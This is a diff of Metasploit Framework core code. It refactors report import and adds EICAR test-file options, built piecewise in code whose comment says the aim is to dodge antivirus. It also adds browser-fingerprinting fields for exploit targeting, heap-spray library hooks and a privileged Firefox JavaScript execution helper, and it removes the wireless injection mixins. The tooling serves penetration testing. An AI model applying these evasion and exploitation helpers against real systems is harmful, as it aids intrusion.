fh = self.nmap_log[0]
|
||||
nmap_data = fh.read(fh.stat.size)
|
||||
# fh.unlink
|
||||
if Rex::Parser.nokogiri_loaded
|
||||
if Rex::Parser.nokogiri_loaded && framework.db.active
|
||||
wspace = framework.db.find_workspace(datastore['WORKSPACE'])
|
||||
wspace ||= framework.db.workspace
|
||||
import_args = { :data => nmap_data, :wspace => wspace }
|
||||
|
|
|
@ -2089,25 +2089,16 @@ class DBManager
|
|||
loot.service_id = opts[:service][:id]
|
||||
end
|
||||
|
||||
loot.path = path
|
||||
loot.ltype = ltype
|
||||
loot.path = path
|
||||
loot.ltype = ltype
|
||||
loot.content_type = ctype
|
||||
loot.data = data
|
||||
loot.name = name if name
|
||||
loot.info = info if info
|
||||
loot.data = data
|
||||
loot.name = name if name
|
||||
loot.info = info if info
|
||||
loot.workspace = wspace
|
||||
msf_import_timestamps(opts,loot)
|
||||
loot.save!
|
||||
|
||||
if !opts[:created_at]
|
||||
=begin
|
||||
if host
|
||||
host.updated_at = host.created_at
|
||||
host.state = HostState::Alive
|
||||
host.save!
|
||||
end
|
||||
=end
|
||||
end
|
||||
|
||||
ret[:loot] = loot
|
||||
}
|
||||
end
|
||||
|
@ -2178,35 +2169,63 @@ class DBManager
|
|||
end
|
||||
|
||||
|
||||
#
|
||||
# Find or create a task matching this type/data
|
||||
#
|
||||
# TODO This method does not attempt to find. It just creates
|
||||
# a report based on the passed params.
|
||||
def find_or_create_report(opts)
|
||||
report_report(opts)
|
||||
end
|
||||
|
||||
# Creates a Report based on passed parameters. Does not handle
|
||||
# child artifacts.
|
||||
# @param opts [Hash]
|
||||
# @return [Integer] ID of created report
|
||||
def report_report(opts)
|
||||
return if not active
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
wspace = opts.delete(:workspace) || workspace
|
||||
path = opts.delete(:path) || (raise RuntimeError, "A report :path is required")
|
||||
|
||||
ret = {}
|
||||
user = opts.delete(:user)
|
||||
options = opts.delete(:options)
|
||||
rtype = opts.delete(:rtype)
|
||||
report = wspace.reports.new
|
||||
report.created_by = user
|
||||
report.options = options
|
||||
report.rtype = rtype
|
||||
report.path = path
|
||||
msf_import_timestamps(opts,report)
|
||||
report.save!
|
||||
report = Report.new(opts)
|
||||
unless report.valid?
|
||||
errors = report.errors.full_messages.join('; ')
|
||||
raise RuntimeError "Report to be imported is not valid: #{errors}"
|
||||
end
|
||||
report.state = :complete # Presume complete since it was exported
|
||||
report.save
|
||||
|
||||
ret[:task] = report
|
||||
report.id
|
||||
}
|
||||
end
|
||||
|
||||
# Creates a ReportArtifact based on passed parameters.
|
||||
# @param opts [Hash] of ReportArtifact attributes
|
||||
def report_artifact(opts)
|
||||
artifacts_dir = Report::ARTIFACT_DIR
|
||||
tmp_path = opts[:file_path]
|
||||
artifact_name = File.basename tmp_path
|
||||
new_path = File.join(artifacts_dir, artifact_name)
|
||||
|
||||
unless File.exists? tmp_path
|
||||
raise DBImportError 'Report artifact file to be imported does not exist.'
|
||||
end
|
||||
|
||||
unless (File.directory?(artifacts_dir) && File.writable?(artifacts_dir))
|
||||
raise DBImportError "Could not move report artifact file to #{artifacts_dir}."
|
||||
end
|
||||
|
||||
if File.exists? new_path
|
||||
unique_basename = "#{(Time.now.to_f*1000).to_i}_#{artifact_name}"
|
||||
new_path = File.join(artifacts_dir, unique_basename)
|
||||
end
|
||||
|
||||
FileUtils.copy(tmp_path, new_path)
|
||||
opts[:file_path] = new_path
|
||||
artifact = ReportArtifact.new(opts)
|
||||
unless artifact.valid?
|
||||
errors = artifact.errors.full_messages.join('; ')
|
||||
raise RuntimeError "Artifact to be imported is not valid: #{errors}"
|
||||
end
|
||||
artifact.save
|
||||
end
|
||||
|
||||
#
|
||||
# This methods returns a list of all reports in the database
|
||||
#
|
||||
|
@ -2921,29 +2940,65 @@ class DBManager
|
|||
self.send "import_#{ftype}".to_sym, args, &block
|
||||
end
|
||||
|
||||
# Returns one of: :nexpose_simplexml :nexpose_rawxml :nmap_xml :openvas_xml
|
||||
# :nessus_xml :nessus_xml_v2 :qualys_scan_xml, :qualys_asset_xml, :msf_xml :nessus_nbe :amap_mlog
|
||||
# :amap_log :ip_list, :msf_zip, :libpcap, :foundstone_xml, :acunetix_xml, :appscan_xml
|
||||
# :burp_session, :ip360_xml_v3, :ip360_aspl_xml, :nikto_xml, :outpost24_xml
|
||||
# Returns one of the following:
|
||||
#
|
||||
# :acunetix_xml
|
||||
# :amap_log
|
||||
# :amap_mlog
|
||||
# :appscan_xml
|
||||
# :burp_session_xml
|
||||
# :ci_xml
|
||||
# :foundstone_xml
|
||||
# :fusionvm_xml
|
||||
# :ip360_aspl_xml
|
||||
# :ip360_xml_v3
|
||||
# :ip_list
|
||||
# :libpcap
|
||||
# :mbsa_xml
|
||||
# :msf_pwdump
|
||||
# :msf_xml
|
||||
# :msf_zip
|
||||
# :nessus_nbe
|
||||
# :nessus_xml
|
||||
# :nessus_xml_v2
|
||||
# :netsparker_xml
|
||||
# :nexpose_rawxml
|
||||
# :nexpose_simplexml
|
||||
# :nikto_xml
|
||||
# :nmap_xml
|
||||
# :openvas_new_xml
|
||||
# :openvas_xml
|
||||
# :outpost24_xml
|
||||
# :qualys_asset_xml
|
||||
# :qualys_scan_xml
|
||||
# :retina_xml
|
||||
# :spiceworks_csv
|
||||
# :wapiti_xml
|
||||
#
|
||||
# If there is no match, an error is raised instead.
|
||||
def import_filetype_detect(data)
|
||||
|
||||
if data and data.kind_of? Zip::ZipFile
|
||||
raise DBImportError.new("The zip file provided is empty.") if data.entries.empty?
|
||||
if data.entries.empty?
|
||||
raise DBImportError.new("The zip file provided is empty.")
|
||||
end
|
||||
|
||||
@import_filedata ||= {}
|
||||
@import_filedata[:zip_filename] = File.split(data.to_s).last
|
||||
@import_filedata[:zip_basename] = @import_filedata[:zip_filename].gsub(/\.zip$/,"")
|
||||
@import_filedata[:zip_entry_names] = data.entries.map {|x| x.name}
|
||||
begin
|
||||
@import_filedata[:zip_xml] = @import_filedata[:zip_entry_names].grep(/^(.*)_[0-9]+\.xml$/).first || raise
|
||||
@import_filedata[:zip_wspace] = @import_filedata[:zip_xml].to_s.match(/^(.*)_[0-9]+\.xml$/)[1]
|
||||
@import_filedata[:type] = "Metasploit ZIP Report"
|
||||
return :msf_zip
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception
|
||||
raise DBImportError.new("The zip file provided is not a Metasploit ZIP report")
|
||||
|
||||
xml_files = @import_filedata[:zip_entry_names].grep(/^(.*)\.xml$/)
|
||||
|
||||
# TODO This check for our zip export should be more extensive
|
||||
if xml_files.empty?
|
||||
raise DBImportError.new("The zip file provided is not a Metasploit Zip Export")
|
||||
end
|
||||
|
||||
@import_filedata[:zip_xml] = xml_files.first
|
||||
@import_filedata[:type] = "Metasploit Zip Export"
|
||||
|
||||
return :msf_zip
|
||||
end
|
||||
|
||||
if data and data.kind_of? PacketFu::PcapFile
|
||||
|
@ -3087,7 +3142,7 @@ class DBManager
|
|||
return :netsparker_xml
|
||||
elsif (firstline.index("# Metasploit PWDump Export"))
|
||||
# then it's a Metasploit PWDump export
|
||||
@import_filedata[:type] = "msf_pwdump"
|
||||
@import_filedata[:type] = "Metasploit PWDump Export"
|
||||
return :msf_pwdump
|
||||
end
|
||||
|
||||
|
@ -3632,16 +3687,13 @@ class DBManager
|
|||
end
|
||||
}
|
||||
|
||||
|
||||
data.entries.each do |e|
|
||||
target = ::File.join(@import_filedata[:zip_tmp],e.name)
|
||||
::File.unlink target if ::File.exists?(target) # Yep. Deleted.
|
||||
data.extract(e,target)
|
||||
if target =~ /^.*.xml$/
|
||||
target_data = ::File.open(target, "rb") {|f| f.read 1024}
|
||||
if import_filetype_detect(target_data) == :msf_xml
|
||||
@import_filedata[:zip_extracted_xml] = target
|
||||
#break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -3808,43 +3860,55 @@ class DBManager
|
|||
|
||||
# Import Reports
|
||||
doc.elements.each("/#{btag}/reports/report") do |report|
|
||||
tmp = args[:ifd][:zip_tmp]
|
||||
report_info = {}
|
||||
report_info[:workspace] = args[:wspace]
|
||||
# Should user be imported (original) or declared (the importing user)?
|
||||
report_info[:user] = nils_for_nulls(report.elements["created-by"].text.to_s.strip)
|
||||
report_info[:options] = nils_for_nulls(report.elements["options"].text.to_s.strip)
|
||||
report_info[:rtype] = nils_for_nulls(report.elements["rtype"].text.to_s.strip)
|
||||
report_info[:created_at] = nils_for_nulls(report.elements["created-at"].text.to_s.strip)
|
||||
report_info[:updated_at] = nils_for_nulls(report.elements["updated-at"].text.to_s.strip)
|
||||
report_info[:orig_path] = nils_for_nulls(report.elements["path"].text.to_s.strip)
|
||||
report_info[:task] = args[:task]
|
||||
report_info[:orig_path].gsub!(/^\./, tmp) if report_info[:orig_path]
|
||||
|
||||
# Only report a report if we actually have it.
|
||||
# TODO: Copypasta. Seperate this out.
|
||||
if ::File.exists? report_info[:orig_path]
|
||||
reports_dir = ::File.join(basedir,"reports")
|
||||
report_file = ::File.split(report_info[:orig_path]).last
|
||||
if ::File.exists? reports_dir
|
||||
unless (::File.directory?(reports_dir) && ::File.writable?(reports_dir))
|
||||
raise DBImportError.new("Could not move files to #{reports_dir}")
|
||||
end
|
||||
else
|
||||
::FileUtils.mkdir_p(reports_dir)
|
||||
end
|
||||
new_report = ::File.join(reports_dir,report_file)
|
||||
report_info[:path] = new_report
|
||||
if ::File.exists?(new_report)
|
||||
::File.unlink new_report
|
||||
else
|
||||
report_report(report_info)
|
||||
end
|
||||
::FileUtils.copy(report_info[:orig_path], new_report)
|
||||
yield(:msf_report, new_report) if block
|
||||
end
|
||||
import_report(report, args, basedir)
|
||||
end
|
||||
end
|
||||
|
||||
# @param report [REXML::Element] to be imported
|
||||
# @param args [Hash]
|
||||
# @param base_dir [String]
|
||||
def import_report(report, args, base_dir)
|
||||
tmp = args[:ifd][:zip_tmp]
|
||||
report_info = {}
|
||||
|
||||
report.elements.each do |e|
|
||||
node_name = e.name
|
||||
node_value = e.text
|
||||
|
||||
# These need to be converted back to arrays:
|
||||
array_attrs = %w|addresses file-formats options sections|
|
||||
if array_attrs.member? node_name
|
||||
node_value = JSON.parse(node_value)
|
||||
end
|
||||
# Don't restore these values:
|
||||
skip_nodes = %w|id workspace-id artifacts|
|
||||
next if skip_nodes.member? node_name
|
||||
|
||||
report_info[node_name.parameterize.underscore.to_sym] = node_value
|
||||
end
|
||||
# Use current workspace
|
||||
report_info[:workspace_id] = args[:wspace].id
|
||||
|
||||
# Create report, need new ID to record artifacts
|
||||
report_id = report_report(report_info)
|
||||
|
||||
# Handle artifacts
|
||||
report.elements['artifacts'].elements.each do |artifact|
|
||||
artifact_opts = {}
|
||||
artifact.elements.each do |attr|
|
||||
skip_nodes = %w|id accessed-at|
|
||||
next if skip_nodes.member? attr.name
|
||||
|
||||
symboled_attr = attr.name.parameterize.underscore.to_sym
|
||||
artifact_opts[symboled_attr] = attr.text
|
||||
end
|
||||
# Use new Report as parent
|
||||
artifact_opts[:report_id] = report_id
|
||||
# Update to full path
|
||||
artifact_opts[:file_path].gsub!(/^\./, tmp)
|
||||
|
||||
report_artifact(artifact_opts)
|
||||
end
|
||||
end
|
||||
|
||||
# Convert the string "NULL" to actual nil
|
||||
|
@ -4237,7 +4301,10 @@ class DBManager
|
|||
parser = Rex::Parser::RetinaXMLStreamParser.new
|
||||
parser.on_found_host = Proc.new do |host|
|
||||
hobj = nil
|
||||
data = {:workspace => wspace}
|
||||
data = {
|
||||
:workspace => wspace,
|
||||
:task => args[:task]
|
||||
}
|
||||
addr = host['address']
|
||||
next if not addr
|
||||
|
||||
|
|
|
@ -204,6 +204,7 @@ module Msf
|
|||
|
||||
doc.elements.each("/#{btag}/hosts/host") do |host|
|
||||
host_data = {}
|
||||
host_data[:task] = args[:task]
|
||||
host_data[:workspace] = wspace
|
||||
host_data[:host] = nils_for_nulls(host.elements["address"].text.to_s.strip)
|
||||
if bl.include? host_data[:host]
|
||||
|
@ -247,6 +248,7 @@ module Msf
|
|||
|
||||
host.elements.each('services/service') do |service|
|
||||
service_data = {}
|
||||
service_data[:task] = args[:task]
|
||||
service_data[:workspace] = wspace
|
||||
service_data[:host] = hobj
|
||||
service_data[:port] = nils_for_nulls(service.elements["port"].text.to_s.strip).to_i
|
||||
|
@ -364,7 +366,7 @@ module Msf
|
|||
cred_data[datum.gsub("-","_").intern] = nils_for_nulls(cred.elements[datum].text.to_s.strip)
|
||||
end
|
||||
}
|
||||
if cred_data[:pass] == "<masked>"
|
||||
if cred_data[:pass] == "*MASKED*"
|
||||
cred_data[:pass] = ""
|
||||
cred_data[:active] = false
|
||||
elsif cred_data[:pass] == "*BLANK PASSWORD*"
|
||||
|
|
|
@ -16,12 +16,14 @@ module Exploit::EXE
|
|||
# EncodedPayload#encoded_exe in lib/msf/core/encoded_payload.rb
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new( 'EXE::EICAR', [ false, 'Generate an EICAR file instead of regular payload exe']),
|
||||
OptPath.new( 'EXE::Custom', [ false, 'Use custom exe instead of automatically generating a payload exe']),
|
||||
OptPath.new( 'EXE::Path', [ false, 'The directory in which to look for the executable template' ]),
|
||||
OptPath.new( 'EXE::Template', [ false, 'The executable template file name.' ]),
|
||||
OptBool.new( 'EXE::Inject', [ false, 'Set to preserve the original EXE function' ]),
|
||||
OptBool.new( 'EXE::OldMethod',[ false, 'Set to use the substitution EXE generation method.' ]),
|
||||
OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ]),
|
||||
OptBool.new( 'MSI::EICAR', [ false, 'Generate an EICAR file instead of regular payload msi']),
|
||||
OptPath.new( 'MSI::Custom', [ false, 'Use custom msi instead of automatically generating a payload msi']),
|
||||
OptPath.new( 'MSI::Path', [ false, 'The directory in which to look for the msi template' ]),
|
||||
OptPath.new( 'MSI::Template', [ false, 'The msi template file name' ]),
|
||||
|
@ -29,6 +31,13 @@ module Exploit::EXE
|
|||
], self.class)
|
||||
end
|
||||
|
||||
# Avoid stating the string directly, don't want to get caught by local
|
||||
# antivirus!
|
||||
def get_eicar_exe
|
||||
obfus_eicar = ["x5o!p%@ap[4\\pzx54(p^)7cc)7}$eicar", "standard", "antivirus", "test", "file!$h+h*"]
|
||||
obfus_eicar.join("-").upcase
|
||||
end
|
||||
|
||||
def get_custom_exe(path=nil)
|
||||
path ||= datastore['EXE::Custom']
|
||||
print_status("Using custom payload #{path}, RHOST and RPORT settings will be ignored!")
|
||||
|
@ -41,6 +50,7 @@ module Exploit::EXE
|
|||
|
||||
def generate_payload_exe(opts = {})
|
||||
return get_custom_exe if datastore.include? 'EXE::Custom'
|
||||
return get_eicar_exe if datastore['EXE::EICAR']
|
||||
|
||||
exe_init_options(opts)
|
||||
|
||||
|
@ -68,6 +78,7 @@ module Exploit::EXE
|
|||
|
||||
def generate_payload_exe_service(opts = {})
|
||||
return get_custom_exe if datastore.include? 'EXE::Custom'
|
||||
return get_eicar_exe if datastore['EXE::EICAR']
|
||||
|
||||
exe_init_options(opts)
|
||||
|
||||
|
@ -90,6 +101,7 @@ module Exploit::EXE
|
|||
|
||||
def generate_payload_dll(opts = {})
|
||||
return get_custom_exe if datastore.include? 'EXE::Custom'
|
||||
return get_eicar_exe if datastore['EXE::EICAR']
|
||||
|
||||
exe_init_options(opts)
|
||||
|
||||
|
@ -112,6 +124,7 @@ module Exploit::EXE
|
|||
|
||||
def generate_payload_msi(opts = {})
|
||||
return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom'
|
||||
return get_eicar_exe if datastore['MSI::EICAR']
|
||||
|
||||
exe = generate_payload_exe(opts)
|
||||
|
||||
|
|
|
@ -43,7 +43,7 @@ module Exploit::Remote::Ftp
|
|||
|
||||
#
|
||||
# This method establishes an FTP connection to host and port specified by
|
||||
# the RHOST and RPORT options, respectively. After connecting, the banner
|
||||
# the 'rhost' and 'rport' methods. After connecting, the banner
|
||||
# message is read in and stored in the 'banner' attribute.
|
||||
#
|
||||
def connect(global = true, verbose = nil)
|
||||
|
|
|
@ -58,7 +58,7 @@ module Exploit::Remote::HttpClient
|
|||
|
||||
register_evasion_options(
|
||||
[
|
||||
OptEnum.new('HTTP::uri_encode_mode', [false, 'Enable URI encoding', 'hex-normal', ['none', 'hex-normal', 'hex-all', 'hex-random', 'u-normal', 'u-all', 'u-random']]),
|
||||
OptEnum.new('HTTP::uri_encode_mode', [false, 'Enable URI encoding', 'hex-normal', ['none', 'hex-normal', 'hex-noslashes', 'hex-random', 'hex-all', 'u-normal', 'u-all', 'u-random']]),
|
||||
OptBool.new('HTTP::uri_full_url', [false, 'Use the full URL for all HTTP requests', false]),
|
||||
OptInt.new('HTTP::pad_method_uri_count', [false, 'How many whitespace characters to use between the method and uri', 1]),
|
||||
OptInt.new('HTTP::pad_uri_version_count', [false, 'How many whitespace characters to use between the uri and version', 1]),
|
||||
|
@ -164,7 +164,7 @@ module Exploit::Remote::HttpClient
|
|||
|
||||
# Configure the HTTP client with the supplied parameter
|
||||
nclient.set_config(
|
||||
'vhost' => opts['vhost'] || self.vhost(),
|
||||
'vhost' => opts['vhost'] || opts['rhost'] || self.vhost(),
|
||||
'agent' => datastore['UserAgent'],
|
||||
'uri_encode_mode' => datastore['HTTP::uri_encode_mode'],
|
||||
'uri_full_url' => datastore['HTTP::uri_full_url'],
|
||||
|
@ -653,4 +653,4 @@ protected
|
|||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -839,6 +839,14 @@ protected
|
|||
@cache_heap_spray ||= Rex::Exploitation::Js::Memory.heap_spray
|
||||
end
|
||||
|
||||
def js_explib2
|
||||
@explib2 ||= ::Rex::Exploitation::Js::Memory.explib2
|
||||
end
|
||||
|
||||
def js_explib2_payload(payload="exec")
|
||||
@explib2_payload ||= ::Rex::Exploitation::Js::Memory.explib2_payload(payload)
|
||||
end
|
||||
|
||||
def js_os_detect
|
||||
@cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os
|
||||
end
|
||||
|
|
|
@ -1,127 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module provides methods for sending raw 802.11 frames using the ruby-lorcon extension.
|
||||
# Please see the ruby-lorcon documentation for more information.
|
||||
#
|
||||
###
|
||||
|
||||
module Exploit::Lorcon
|
||||
|
||||
#
|
||||
# Initializes an instance of an exploit module that accesses a 802.11 network
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
|
||||
default_intf = 'ath0'
|
||||
default_driver = 'madwifing'
|
||||
|
||||
|
||||
if (Rex::Compat.is_windows())
|
||||
# Default to the the first airpcap device on Windows
|
||||
default_intf = "\\\\.\\airpcap00"
|
||||
|
||||
# Default to the airpcap driver on Windows
|
||||
default_driver = 'airpcap'
|
||||
end
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('INTERFACE', [true, 'The name of the wireless interface', default_intf]),
|
||||
OptString.new('DRIVER', [true, 'The name of the wireless driver for lorcon', default_driver]),
|
||||
OptInt.new('CHANNEL', [true, 'The default channel number', 11]),
|
||||
OptInt.new('TXRATE', [true, 'The injected transmit rate', 2]),
|
||||
OptEnum.new('TXMOD', [true, 'The injected modulation type', 'DSSS', %w{DEFAULT FHSS DSSS OFDM TURBO MIMO MIMOGF}])
|
||||
], Msf::Exploit::Lorcon
|
||||
)
|
||||
|
||||
|
||||
begin
|
||||
|
||||
if(Rex::Compat.is_windows())
|
||||
airpcap = Rex::FileUtils.find_full_path("airpcap.dll")
|
||||
if (not airpcap)
|
||||
raise RuntimeError, "The airpcap.dll library must be installed"
|
||||
end
|
||||
end
|
||||
|
||||
require 'Lorcon'
|
||||
@lorcon_loaded = true
|
||||
|
||||
rescue ::Exception => e
|
||||
@lorcon_loaded = false
|
||||
@lorcon_error = e
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Opens a handle to the specified wireless device
|
||||
#
|
||||
def open_wifi
|
||||
|
||||
if (not @lorcon_loaded)
|
||||
print_status("The Lorcon module is not available: #{@lorcon_error}")
|
||||
raise RuntimeError, "Lorcon not available"
|
||||
end
|
||||
|
||||
# XXX: Force the interface to be up
|
||||
system("ifconfig", datastore['INTERFACE'], "up")
|
||||
|
||||
self.wifi = ::Lorcon::Device.new(datastore['INTERFACE'], datastore['DRIVER'])
|
||||
if (not self.wifi)
|
||||
raise RuntimeError, "Could not open the wireless device interface"
|
||||
end
|
||||
|
||||
# Configure the card for reliable injection
|
||||
self.wifi.fmode = "INJECT"
|
||||
self.wifi.channel = (datastore['CHANNEL'] || 11).to_i
|
||||
|
||||
|
||||
# Configure modulation
|
||||
begin
|
||||
self.wifi.modulation = datastore['TXMOD']
|
||||
rescue ::ArgumentError => e
|
||||
print_status("Warning: #{e}")
|
||||
end
|
||||
|
||||
# Configure the transmission rate
|
||||
begin
|
||||
self.wifi.txrate = datastore['TXRATE'].to_i if datastore['TXRATE']
|
||||
rescue ::ArgumentError => e
|
||||
print_status("Warning: #{e}")
|
||||
end
|
||||
|
||||
self.wifi
|
||||
end
|
||||
|
||||
def close_wifi
|
||||
self.wifi = nil
|
||||
end
|
||||
|
||||
#
|
||||
# Converts ethernet addresses to binary
|
||||
#
|
||||
def eton(addr)
|
||||
addr.split(':').map { |c| c.hex.chr }.join
|
||||
end
|
||||
|
||||
def channel
|
||||
self.wifi.channel
|
||||
end
|
||||
|
||||
def next_channel
|
||||
cur = self.wifi.channel
|
||||
nxt = (cur > 10) ? 1 : cur + 1
|
||||
self.wifi.channel = nxt
|
||||
end
|
||||
|
||||
attr_accessor :wifi
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -1,141 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module provides methods for sending raw 802.11 frames using the
|
||||
# ruby-lorco2n extension.
|
||||
# Please see the ruby-lorcon documentation for more information.
|
||||
#
|
||||
###
|
||||
|
||||
module Exploit::Lorcon2
|
||||
|
||||
#
|
||||
# Initializes an instance of an exploit module that accesses a 802.11 network
|
||||
#
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
default_intf = 'wlan0'
|
||||
default_driver = 'autodetect'
|
||||
|
||||
if (Rex::Compat.is_windows())
|
||||
# Default to the the first airpcap device on Windows
|
||||
default_intf = "\\\\.\\airpcap00"
|
||||
|
||||
# Default to the airpcap driver on Windows
|
||||
default_driver = 'airpcap'
|
||||
end
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('INTERFACE', [true, 'The name of the wireless interface', default_intf]),
|
||||
OptString.new('DRIVER', [true, 'The name of the wireless driver for lorcon', default_driver]),
|
||||
OptInt.new('CHANNEL', [true, 'The initial channel', 11]),
|
||||
], Msf::Exploit::Lorcon2
|
||||
)
|
||||
|
||||
|
||||
begin
|
||||
|
||||
if(Rex::Compat.is_windows())
|
||||
airpcap = Rex::FileUtils.find_full_path("airpcap.dll")
|
||||
if (not airpcap)
|
||||
raise RuntimeError, "The airpcap.dll library must be installed"
|
||||
end
|
||||
end
|
||||
|
||||
require 'Lorcon2'
|
||||
@lorcon_loaded = true
|
||||
|
||||
rescue ::Exception => e
|
||||
@lorcon_loaded = false
|
||||
@lorcon_error = e
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Opens a handle to the specified wireless device
|
||||
#
|
||||
def open_wifi
|
||||
|
||||
if (not @lorcon_loaded)
|
||||
print_status("The Lorcon2 module is not available: #{@lorcon_error}")
|
||||
raise RuntimeError, "Lorcon2 not available"
|
||||
end
|
||||
|
||||
if (datastore['DRIVER'] == "autodetect")
|
||||
self.wifi = ::Lorcon::Device.new(datastore['INTERFACE'])
|
||||
else
|
||||
self.wifi = ::Lorcon::Device.new(datastore['INTERFACE'], datastore['DRIVER'])
|
||||
end
|
||||
|
||||
if (not self.wifi)
|
||||
raise RuntimeError, "Could not initialize the wireless device interface"
|
||||
end
|
||||
|
||||
# Configure for injmon
|
||||
self.wifi.openinjmon() or raise RuntimeError, "Could not open device in inject/monitor combo mode: " + self.wifi.error
|
||||
|
||||
# Configure channel
|
||||
self.wifi.channel = datastore['CHANNEL']
|
||||
|
||||
# TODO - add mod/rate once lorcon2 supports it
|
||||
|
||||
self.wifi
|
||||
end
|
||||
|
||||
#
|
||||
# This monstrosity works around a series of bugs in the interrupt
|
||||
# signal handling of Ruby 1.9 and Lorcon2
|
||||
#
|
||||
def each_packet(count=-1)
|
||||
return if not wifi
|
||||
begin
|
||||
@wifi_count = 0
|
||||
reader = framework.threads.spawn("Lorcon2Receiver", false) do
|
||||
wifi.each_packet(count.to_i) do |pkt|
|
||||
yield(pkt)
|
||||
@wifi_count += 1
|
||||
end
|
||||
end
|
||||
reader.join
|
||||
rescue ::Exception
|
||||
raise $!
|
||||
ensure
|
||||
reader.kill if reader.alive?
|
||||
end
|
||||
|
||||
@wifi_count
|
||||
end
|
||||
|
||||
def close_wifi
|
||||
self.wifi = nil
|
||||
end
|
||||
|
||||
#
|
||||
# Converts ethernet addresses to binary
|
||||
#
|
||||
def eton(addr)
|
||||
addr.split(':').map { |c| c.hex.chr }.join
|
||||
end
|
||||
|
||||
def channel
|
||||
self.wifi.channel
|
||||
end
|
||||
|
||||
def next_channel
|
||||
cur = self.wifi.channel
|
||||
nxt = (cur > 10) ? 1 : cur + 1
|
||||
self.wifi.channel = nxt
|
||||
end
|
||||
|
||||
attr_accessor :wifi
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -71,8 +71,6 @@ require 'msf/core/exploit/dialup'
|
|||
require 'msf/core/exploit/dect_coa'
|
||||
|
||||
# Networks
|
||||
require 'msf/core/exploit/lorcon'
|
||||
require 'msf/core/exploit/lorcon2'
|
||||
require 'msf/core/exploit/capture'
|
||||
|
||||
# FileFormat
|
||||
|
|
|
@ -58,6 +58,7 @@ module Msf
|
|||
:java => 'java', # Example: 1.6, 1.6.0.0
|
||||
:clsid => 'clsid', # ActiveX clsid. Also requires the :method key
|
||||
:method => 'method' # ActiveX method. Also requires the :clsid key
|
||||
:mshtml_build => 'mshtml_build', # mshtml build. Example: "65535"
|
||||
}
|
||||
|
||||
def initialize(info={})
|
||||
|
@ -224,9 +225,12 @@ module Msf
|
|||
# For more info about what the actual value might be for each key, see HttpServer.
|
||||
#
|
||||
# If the source is 'script', the profile might have even more information about plugins:
|
||||
# 'office' : The version of Microsoft Office (IE only)
|
||||
# 'activex' : Whether a specific method is available from an ActiveX control (IE only)
|
||||
# 'java' : The Java version
|
||||
# 'office' : The version of Microsoft Office (IE only)
|
||||
# 'activex' : Whether a specific method is available from an ActiveX control (IE only)
|
||||
# 'java' : The Java version
|
||||
# 'mshtml_build' : The MSHTML build version
|
||||
# 'flash' : The Flash version
|
||||
# 'silverlight' : The Silverlight version
|
||||
#
|
||||
# @param tag [String] Either a cookie or IP + User-Agent
|
||||
# @return [Hash] The profile found. If not found, returns nil
|
||||
|
@ -379,11 +383,13 @@ module Msf
|
|||
"<%=REQUIREMENT_KEY_SET[:ua_ver]%>" : osInfo.ua_version,
|
||||
"<%=REQUIREMENT_KEY_SET[:arch]%>" : osInfo.arch,
|
||||
"<%=REQUIREMENT_KEY_SET[:java]%>" : window.misc_addons_detect.getJavaVersion(),
|
||||
"<%=REQUIREMENT_KEY_SET[:silverlight]%>" : window.misc_addons_detect.hasSilverlight()
|
||||
"<%=REQUIREMENT_KEY_SET[:silverlight]%>" : window.misc_addons_detect.hasSilverlight(),
|
||||
"<%=REQUIREMENT_KEY_SET[:flash]%>" : window.misc_addons_detect.getFlashVersion()
|
||||
};
|
||||
|
||||
<% if os.match(/^Windows/) and client == HttpClients::IE %>
|
||||
d['<%=REQUIREMENT_KEY_SET[:office]%>'] = window.ie_addons_detect.getMsOfficeVersion();
|
||||
d['<%=REQUIREMENT_KEY_SET[:mshtml_build]%>'] = ScriptEngineBuildVersion().toString();
|
||||
<%
|
||||
clsid = @requirements[:clsid]
|
||||
method = @requirements[:method]
|
||||
|
@ -491,7 +497,7 @@ module Msf
|
|||
if bad_reqs.empty?
|
||||
method(:on_request_exploit).call(cli, request, profile)
|
||||
else
|
||||
print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}")
|
||||
print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}. For more info: http://r-7.co/PVbcgx")
|
||||
send_not_found(cli)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -9,7 +9,17 @@
|
|||
|
||||
module Msf
|
||||
module Exploit::Remote::FirefoxPrivilegeEscalation
|
||||
|
||||
|
||||
# Sends the +js+ code to the remote session, which executes it in Firefox's
|
||||
# privileged javascript context
|
||||
# @return [String] the results that were sent back. This can be achieved through
|
||||
# calling the "send" function, or by just returning the value in +js+
|
||||
def js_exec(js)
|
||||
print_status "Running the privileged javascript..."
|
||||
session.shell_write("[JAVASCRIPT]#{js}[/JAVASCRIPT]")
|
||||
session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
|
||||
end
|
||||
|
||||
# Puts the shellcode into memory, adds X flag, and calls it
|
||||
# The js function throws on error
|
||||
# @return [String] javascript code containing the execShellcode() javascript fn
|
||||
|
|
|
@ -52,7 +52,7 @@ module Exploit::Remote::SMB::Psexec
|
|||
# @param command [String] Should be a valid windows command
|
||||
# @param disconnect [Boolean] Disconnect afterwards
|
||||
# @return [Boolean] Whether everything went well
|
||||
def psexec(command, disconnect=true)
|
||||
def psexec(command, disconnect=true, service_description=nil)
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||
